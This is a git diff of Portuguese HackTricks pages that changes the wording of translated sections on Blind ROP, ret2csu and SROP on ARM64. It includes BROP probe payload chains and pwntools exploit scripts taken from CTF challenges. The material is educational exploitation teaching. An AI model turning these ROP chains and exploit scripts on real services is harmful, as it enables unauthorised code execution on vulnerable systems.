 
-### **3. Forçar os endereços RBP e RIP** armazenados na pilha para vazá-los
+### **3. Brute-force endereços RBP e RIP** armazenados na pilha para vazá-los
 
 Você pode encontrar mais informações sobre esses processos [aqui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [aqui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
 
 ### **4. Encontrar o gadget de parada**
 
-Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não travou. Geralmente, este gadget será algo que **interrompe a execução** e é posicionado no final da cadeia ROP ao procurar gadgets ROP específicos que foram executados.
+Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não falhou. Normalmente, este gadget será algo que **para a execução** e está posicionado no final da cadeia ROP ao procurar gadgets ROP para confirmar que um gadget ROP específico foi executado.
 
 ### **5. Encontrar o gadget BROP**
 
-Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque se você acessar este gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
+Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque, se você acessar este gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
-Estes seriam os gadgets:
+Esses seriam os gadgets:
 
 * `pop rsi; pop r15; ret`
 * `pop rdi; ret`
 
-Observe como com esses gadgets é possível **controlar 2 argumentos** de uma função a ser chamada.
+Note como com esses gadgets é possível **controlar 2 argumentos** de uma função a ser chamada.
 
-Além disso, observe que o gadget ret2csu tem uma **assinatura muito única** porque ele vai desempilhar 6 registradores da pilha. Então, enviando uma cadeia como:
+Além disso, note que o gadget ret2csu tem uma **assinatura muito única** porque vai estar popando 6 registradores da pilha. Portanto, enviando uma cadeia como:
 
-`'A' * deslocamento + canário + rbp + ENDEREÇO + 0xdead * 6 + PARADA`
+`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
 
-Se a **PARADA for executada**, isso basicamente significa que um **endereço que está desempilhando 6 registradores** da pilha foi usado. Ou que o endereço usado também foi um endereço de PARADA.
+Se o **STOP for executado**, isso basicamente significa que um **endereço que está popando 6 registradores** da pilha foi usado. Ou que o endereço usado também era um endereço STOP.
 
-Para **remover esta última opção**, uma nova cadeia como a seguinte é executada e não deve executar o gadget de PARADA para confirmar que o anterior desempilhou 6 registradores:
+Para **remover esta última opção**, uma nova cadeia como a seguinte é executada e não deve executar o gadget STOP para confirmar que o anterior popou 6 registradores:
 
-`'A' * deslocamento + canário + rbp + ENDEREÇO`
+`'A' * offset + canary + rbp + ADDR`
 
-Conhecendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
+Sabendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
 
 ### 6. Encontrar PLT
 
-A tabela PLT pode ser pesquisada a partir de 0x400000 ou do **endereço RIP vazado** da pilha (se o **PIE** estiver sendo usado). As **entradas** da tabela são **separadas por 16B** (0x10B), e quando uma função é chamada, o servidor não trava mesmo se os argumentos não estiverem corretos. Além disso, verificar o endereço de uma entrada na **PLT + 6B também não trava** pois é o primeiro código executado.
+A tabela PLT pode ser pesquisada a partir de 0x400000 ou do **endereço RIP vazado** da pilha (se **PIE** estiver sendo usado). As **entradas** da tabela são **separadas por 16B** (0x10B), e quando uma função é chamada, o servidor não falha mesmo que os argumentos não estejam corretos. Além disso, verificar o endereço de uma entrada na **PLT + 6B também não falha** pois é o primeiro código executado.
 
 Portanto, é possível encontrar a tabela PLT verificando os seguintes comportamentos:
 
-* `'A' * deslocamento + canário + rbp + ENDEREÇO + PARADA` -> sem travamento
-* `'A' * deslocamento + canário + rbp + (ENDEREÇO + 0x6) + PARADA` -> sem travamento
-* `'A' * deslocamento + canário + rbp + (ENDEREÇO + 0x10) + PARADA` -> sem travamento
+* `'A' * offset + canary + rbp + ADDR + STOP` -> sem falha
+* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> sem falha
+* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> sem falha
 
-### 7. Encontrar strcmp
+### 7. Encontrando strcmp
 
-A função **`strcmp`** define o registrador **`rdx`** como o comprimento da string sendo comparada. Observe que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para posteriormente usar `write` para vazar o programa.
+A função **`strcmp`** define o registrador **`rdx`** para o comprimento da string sendo comparada. Note que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para depois usar `write` para vazar o programa.
 
-É possível encontrar a localização do **`strcmp`** na PLT com base em seu comportamento usando o fato de que agora podemos controlar os 2 primeiros argumentos das funções:
+É possível encontrar a localização de **`strcmp`** na PLT com base em seu comportamento usando o fato de que agora podemos controlar os 2 primeiros argumentos das funções:
 
-* strcmp(\<endereço não lido>, \<endereço não lido>) -> travamento
-* strcmp(\<endereço não lido>, \<endereço lido>) -> travamento
-* strcmp(\<endereço lido>, \<endereço não lido>) -> travamento
-* strcmp(\<endereço lido>, \<endereço lido>) -> sem travamento
+* strcmp(\<endereço não lido>, \<endereço não lido>) -> falha
+* strcmp(\<endereço não lido>, \<endereço lido>) -> falha
+* strcmp(\<endereço lido>, \<endereço não lido>) -> falha
+* strcmp(\<endereço lido>, \<endereço lido>) -> sem falha
 
-É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT** que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama para **`dlresolve`**) seguido na pilha pelo **número da entrada que se deseja sondar** (começando em zero) para escanear todas as entradas da PLT:
+É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT**, que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama **`dlresolve`**) seguido na pilha pelo **número da entrada que se deseja sondar** (começando em zero) para escanear todas as entradas PLT a partir da primeira:
 
-* strcmp(\<endereço não lido>, \<endereço lido>) -> travamento
-* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + PARADA` -> Vai travar
-* strcmp(\<endereço lido>, \<endereço não lido>) -> travamento
-* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + PARADA`&#x20;
-* strcmp(\<endereço lido>, \<endereço lido>) -> sem travamento
-* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + PARADA`&#x20;
+* strcmp(\<endereço não lido>, \<endereço lido>) -> falha
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Vai falhar
+* strcmp(\<endereço lido>, \<endereço não lido>) -> falha
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+* strcmp(\<endereço lido>, \<endereço lido>) -> sem falha
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
 
-Lembre-se de que:
+Lembre-se que:
 
 * BROP + 0x7 aponta para **`pop RSI; pop R15; ret;`**
 * BROP + 0x9 aponta para **`pop RDI; ret;`**
-* PLT + 0xb aponta para uma chamada para **dl\_resolve**.
+* PLT + 0xb aponta para uma chamada a **dl\_resolve**.
 
-Tendo encontrado `strcmp`, é possível definir **`rdx`** com um valor maior que 0.
+Tendo encontrado `strcmp`, é possível definir **`rdx`** para um valor maior que 0.
 
 {% hint style="success" %}
-Observe que geralmente `rdx` já terá um valor maior que 0, então esta etapa pode não ser necessária.
+Note que geralmente `rdx` já terá um valor maior que 0, então este passo pode não ser necessário.
 {% endhint %}
+
 ### 8. Encontrando Write ou equivalente
 
-Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binário. E neste momento é possível **controlar 2 argumentos e definir `rdx` maior que 0**.
+Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binário. E neste momento é possível **controlar 2 argumentos e definir `rdx` maior que 0.**
 
 Existem 3 funções comuns que poderiam ser abusadas para isso:
 
@@ -113,7 +114,7 @@ Existem 3 funções comuns que poderiam ser abusadas para isso:
 * `dprintf(fd, data)`
 * `write(fd, data, len(data)`
 
-No entanto, o artigo original menciona apenas o **`write`**, então vamos falar sobre ele:
+No entanto, o artigo original menciona apenas a **`write`**, então vamos falar sobre isso:
 
 O problema atual é que não sabemos **onde a função write está dentro da PLT** e não sabemos **um número de fd para enviar os dados para nosso socket**.
 
@@ -121,9 +122,9 @@ No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write c
 
 Assinaturas de comportamento para encontrar essas funções:
 
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Se houver dados impressos, então puts foi encontrado
-* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Se houver dados impressos, então dprintf foi encontrado
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Se houver dados impressos, então write foi encontrado
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
+* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
 
 ## Exploração Automática
 
@@ -133,3 +134,18 @@ Assinaturas de comportamento para encontrar essas funções:
 
 * Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
 * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
+
+{% hint style="success" %}
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -1,16 +1,16 @@
 # Ret2csu
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Apoie o HackTricks</summary>
+<summary>Support HackTricks</summary>
 
-* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
@@ -19,15 +19,15 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 
 ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informações Básicas
 
-**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que costuma usar para manipular o comportamento do programa.&#x20;
+**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa.
 
-Quando um programa utiliza certas bibliotecas (como libc), ele possui algumas funções internas para gerenciar como diferentes partes do programa se comunicam entre si. Entre essas funções, existem algumas joias escondidas que podem atuar como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
+Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções embutidas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
 
 ### Os Gadgets Mágicos em \_\_libc\_csu\_init
 
-Em **`__libc_csu_init`**, existem duas sequências de instruções (gadgets) a serem destacadas:
+Em **`__libc_csu_init`**, há duas sequências de instruções (gadgets) a destacar:
 
-1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Estes são como slots onde podemos armazenar números ou endereços que queremos usar posteriormente.
+1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Estes são como slots onde podemos armazenar números ou endereços que queremos usar mais tarde.
 ```armasm
 pop rbx;
 pop rbp;
@@ -37,18 +37,18 @@ pop r14;
 pop r15;
 ret;
 ```
-Este gadget nos permite controlar esses registradores ao retirar valores da pilha e colocá-los neles.
+Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
 
-2. A segunda sequência utiliza os valores que configuramos para fazer algumas coisas:
-* **Mover valores específicos para outros registradores**, preparando-os para serem usados como parâmetros em funções.
-* **Realizar uma chamada a uma localização** determinada somando os valores em r15 e rbx, e então multiplicando rbx por 8.
+2. A segunda sequência usa os valores que configuramos para fazer algumas coisas:
+* **Mover valores específicos para outros registradores**, tornando-os prontos para usarmos como parâmetros em funções.
+* **Realizar uma chamada para um local** determinado pela soma dos valores em r15 e rbx, e então multiplicando rbx por 8.
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-2. Talvez você não saiba nenhum endereço para escrever lá e você **precisa de uma instrução `ret`**. Note que o segundo gadget também **terminará em um `ret`**, mas você precisará atender a algumas **condições** para alcançá-lo:
+2. Talvez você não conheça nenhum endereço para escrever lá e você **precisa de uma instrução `ret`**. Note que o segundo gadget também **terminará em um `ret`**, mas você precisará atender a algumas **condições** para alcançá-lo:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -62,8 +62,8 @@ ret
 ```
 As condições serão:
 
-- `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não tiver ideia e não tiver PIE, você pode simplesmente usar a função `_init`):
-- Se \_init estiver em `0x400560`, use o GEF para procurar por um ponteiro na memória para ele e faça `[r12 + rbx*8]` ser o endereço com o ponteiro para \_init:
+* `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não houver ideia e sem pie, você pode apenas usar a função `_init`):
+* Se \_init estiver em `0x400560`, use o GEF para procurar um ponteiro na memória para ele e faça com que `[r12 + rbx*8]` seja o endereço com o ponteiro para \_init:
 ```bash
 # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 gef➤  search-pattern 0x400560
@@ -74,13 +74,13 @@ gef➤  search-pattern 0x400560
 0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
 ```
 * `rbp` e `rbx` devem ter o mesmo valor para evitar o salto
-* Existem alguns pops omitidos que você precisa levar em consideração
+* Existem alguns pops omitidos que você precisa levar em conta
 
 ## RDI e RSI
 
-Outra maneira de controlar **`rdi`** e **`rsi`** do gadget ret2csu é acessando offsets específicos:
+Outra maneira de controlar **`rdi`** e **`rsi`** a partir do gadget ret2csu é acessando offsets específicos:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 Verifique esta página para mais informações:
 
@@ -92,14 +92,14 @@ Verifique esta página para mais informações:
 
 ### Usando a chamada
 
-Imagine que você queira fazer uma chamada de sistema ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria por gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
+Imagine que você quer fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
 
-Aqui é onde o **ret2csu** entra em ação:
+É aqui que **ret2csu** entra em cena:
 
-1. **Configurar os Registradores**: Use o primeiro gadget mágico para desempilhar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
-2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, controlando `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
+1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
+2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova seus valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
 
-Você tem um [**exemplo usando essa técnica e explicando-a aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que foi usado:
+Você tem um [**exemplo usando esta técnica e explicando aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que usou:
 ```python
 from pwn import *
 
@@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 {% hint style="warning" %}
-Note que o exploit anterior não tem como objetivo fazer um **`RCE`**, ele tem como objetivo apenas chamar uma função chamada **`win`** (pegando o endereço de `win` do stdin chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
+Note que o exploit anterior não é destinado a fazer um **`RCE`**, é destinado apenas a chamar uma função chamada **`win`** (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
 {% endhint %}
 
-### Bypassando a chamada e alcançando o ret
+### Ignorando a chamada e alcançando ret
 
-O exploit a seguir foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) onde o **ret2csu** é utilizado, mas em vez de usar a chamada, está **bypassando as comparações e alcançando o `ret`** após a chamada:
+O seguinte exploit foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, está **ignorando as comparações e alcançando o `ret`** após a chamada:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -179,6 +179,21 @@ payload += ret2win
 target.sendline(payload)
 target.interactive()
 ```
-### Por que não usar diretamente a libc?
+### Por Que Não Usar Apenas a libc Diretamente?
 
-Normalmente, esses casos também são vulneráveis ao [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que é facilmente controlado com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
+Geralmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md

@@ -1,8 +1,8 @@
 # SROP - ARM64
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 
 ## Exemplo Pwntools
 
-Este exemplo está criando o binário vulnerável e explorando-o. O binário **lê na pilha** e então chama **`sigreturn`**:
+Este exemplo cria o binário vulnerável e o explora. O binário **lê na pilha** e então chama **`sigreturn`**:
 ```python
 from pwn import *
 
@@ -147,7 +147,7 @@ return 0;
 
 Na seção **`vdso`** é possível encontrar uma chamada para **`sigreturn`** no offset **`0x7b0`**:
 
-<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
 Portanto, se vazado, é possível **usar este endereço para acessar um `sigreturn`** se o binário não estiver carregando-o:
 ```python
@@ -191,8 +191,8 @@ E para contornar o endereço de `/bin/sh`, você pode criar várias variáveis d
 {% endcontent-ref %}
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -1,8 +1,8 @@
 # Metodologia de Reconhecimento Externo
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
